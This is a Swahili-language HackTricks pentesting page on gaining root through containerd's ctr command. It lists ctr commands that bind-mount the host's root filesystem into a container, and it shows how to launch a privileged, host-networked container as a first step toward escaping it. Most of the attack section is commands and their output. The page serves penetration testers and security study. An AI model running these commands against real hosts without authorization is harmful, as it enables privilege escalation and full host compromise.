hacktricks/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md
2024-02-11 02:13:58 +00:00

3.9 KiB

Kupandisha Hadhi ya Mamlaka ya Containerd (ctr)

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Nenda kwenye kiungo kifuatacho kujifunza ni nini containerd na ctr:

{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %} 2375-pentesting-docker.md {% endcontent-ref %}

PE 1

ikiwa unagundua kuwa mwenyeji una amri ya ctr:

which ctr
/usr/bin/ctr

Unaweza kuorodhesha picha:

ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

Na kisha endesha moja ya picha hizo ukiunganisha saraka ya mizizi ya mwenyeji:

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

Chalaza chombo kwa haki za juu na kutoroka kutoka kwake.
Unaweza kuchalaza chombo chenye haki za juu kama:

ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

Kisha unaweza kutumia baadhi ya mbinu zilizotajwa katika ukurasa ufuatao kutoroka kutoka kwayo kwa kutumia uwezo wa kipekee:

{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: